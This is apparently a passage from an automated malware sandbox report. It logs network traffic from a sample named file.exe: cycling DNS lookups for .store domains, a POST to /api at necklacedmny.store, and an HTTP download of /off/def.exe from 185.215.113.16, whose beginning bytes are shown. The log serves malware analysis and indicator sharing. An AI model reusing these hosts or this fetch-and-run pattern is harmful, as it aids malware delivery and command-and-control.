Oct 28, 2024 23:47:24.393630028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393646955 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393665075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393698931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393748999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393779993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393779993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393781900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393834114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393835068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393868923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393902063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393913984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.393937111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.393973112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394006968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394041061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394058943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394058943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394078016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394112110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394124031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394145966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394179106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394213915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394229889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394248009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394248009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394283056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394315958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394345999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.394350052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.394416094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.432132959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432174921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432248116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.432260990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432296038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432332993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432362080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.432516098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.434467077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434520006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434557915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434611082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434621096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.434645891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434649944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.434678078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434705973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.434711933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434746027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434779882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.434823990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.434942961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.459768057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.459801912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.459902048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.459966898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.459973097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460025072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460037947 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460059881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460093021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460144043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460177898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460180998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460222960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460230112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460263968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460315943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460338116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460355997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460388899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460412025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460418940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460483074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460520029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460529089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460556984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460556984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460591078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460640907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460675001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460684061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460704088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460725069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460761070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460793972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460828066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460856915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460856915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460860968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460894108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460922956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460958004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.460988045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460988045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.460990906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461025953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461057901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461087942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461098909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.461098909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.461121082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461154938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461189985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461206913 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.461224079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461253881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.461291075 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.461313009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497232914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497289896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497324944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497378111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497412920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497442007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497447968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497466087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497515917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497519016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497549057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497553110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497586012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497596979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497620106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497672081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497689962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497725010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497757912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497765064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497792006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497823954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497849941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497860909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497886896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.497895002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497927904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497962952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.497991085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.498013020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.498037100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.498047113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.498084068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.498112917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.498246908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.498246908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.508539915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508603096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508656979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508692026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508728027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508780003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508812904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508821964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.508847952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508872032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.508881092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.508927107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509057045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509108067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509131908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509139061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509191990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509222984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509263039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509275913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509311914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509329081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509362936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509418011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509449005 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509469032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509471893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509504080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509535074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509568930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509603024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509614944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509629011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509635925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509669065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509701014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509736061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.509748936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.509782076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.511840105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.511893034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.511928082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.511961937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.511965036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512012959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512018919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512069941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512105942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512131929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512161016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512182951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512238026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512270927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512305021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512334108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512362003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512362003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512367964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512402058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512425900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512454033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512489080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512521982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512556076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512584925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512584925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:24.512589931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512625933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:24.512696981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:25.657094955 CET	49740	80	192.168.2.4	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 23:47:01.937700033 CET	53198	53	192.168.2.4	1.1.1.1
Oct 28, 2024 23:47:01.947511911 CET	53	53198	1.1.1.1	192.168.2.4
Oct 28, 2024 23:47:01.952330112 CET	62218	53	192.168.2.4	1.1.1.1
Oct 28, 2024 23:47:01.969517946 CET	53	62218	1.1.1.1	192.168.2.4
Oct 28, 2024 23:47:01.970731020 CET	60968	53	192.168.2.4	1.1.1.1
Oct 28, 2024 23:47:01.980309963 CET	53	60968	1.1.1.1	192.168.2.4
Oct 28, 2024 23:47:01.983347893 CET	51103	53	192.168.2.4	1.1.1.1
Oct 28, 2024 23:47:02.003072977 CET	53	51103	1.1.1.1	192.168.2.4
Oct 28, 2024 23:47:02.005456924 CET	53124	53	192.168.2.4	1.1.1.1
Oct 28, 2024 23:47:02.015386105 CET	53	53124	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 23:47:01.937700033 CET	192.168.2.4	1.1.1.1	0x9c33	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:01.952330112 CET	192.168.2.4	1.1.1.1	0xaa7f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:01.970731020 CET	192.168.2.4	1.1.1.1	0x6d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:01.983347893 CET	192.168.2.4	1.1.1.1	0xa594	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:02.005456924 CET	192.168.2.4	1.1.1.1	0x1460	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 23:47:01.947511911 CET	1.1.1.1	192.168.2.4	0x9c33	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:01.969517946 CET	1.1.1.1	192.168.2.4	0xaa7f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:01.980309963 CET	1.1.1.1	192.168.2.4	0x6d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:02.003072977 CET	1.1.1.1	192.168.2.4	0xa594	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:02.015386105 CET	1.1.1.1	192.168.2.4	0x1460	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 23:47:02.015386105 CET	1.1.1.1	192.168.2.4	0x1460	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	185.215.113.16	80	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 23:47:17.659537077 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 23:47:18.578285933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 22:47:18 GMT Content-Type: application/octet-stream Content-Length: 2806784 Last-Modified: Mon, 28 Oct 2024 22:25:20 GMT Connection: keep-alive ETag: "67200f50-2ad400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 db 09 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ ++`Ui` @ @.rsrc`2@.idata 8@xibuiabqt:@bskbuihx +@.taggant@@+"@
Oct 28, 2024 23:47:18.578319073 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578413963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578450918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578485966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578521967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578553915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578589916 CET	660	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578623056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 23:47:18.578656912 CET	1236	IN	Data Raw: 64 35 ea 4b 19 ac c9 5a f5 cc a8 ff 3e 45 05 52 08 3c da 8e f2 4e f2 c2 03 bc ba ba 59 30 ae c8 49 66 a5 e6 6b 36 f6 62 bc 02 2e a9 43 d0 af cc bc 41 a8 52 c0 8e a8 dd 89 b4 8a 81 97 2e c4 9a d2 74 c2 20 d8 37 28 d5 56 7d 1a e1 07 81 b0 ee 83 ad Data Ascii: d5KZ>ER<NY0Ifk6b.CAR.t 7(V}"DDq\)~:Kf8):"d:f}}7I{;;~t)D),qo@+s*SK JSPk9A("07_-8@
Oct 28, 2024 23:47:18.585302114 CET	1236	IN	Data Raw: 48 66 d4 61 0e 66 1d 8e 46 e7 e3 70 d7 49 18 61 72 85 c2 46 80 58 ad 4f dd 7a a1 32 13 c5 e2 0e 7e d8 22 44 be 4f ed df c4 6d ac 23 39 47 b5 25 ca 5a b4 cf 15 10 c0 ff fc 85 1b e9 16 16 b6 13 24 d3 d9 66 bb a5 c9 28 25 89 95 ac b0 91 15 20 1f 9f Data Ascii: HfafFpIarFXOz2~"DOm#9G%Z$f(% !'x$"g+$#)#eyv$.g(z -#Eh'$-31>6%xLj0!1wis$!:F#d>g0q"S`

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
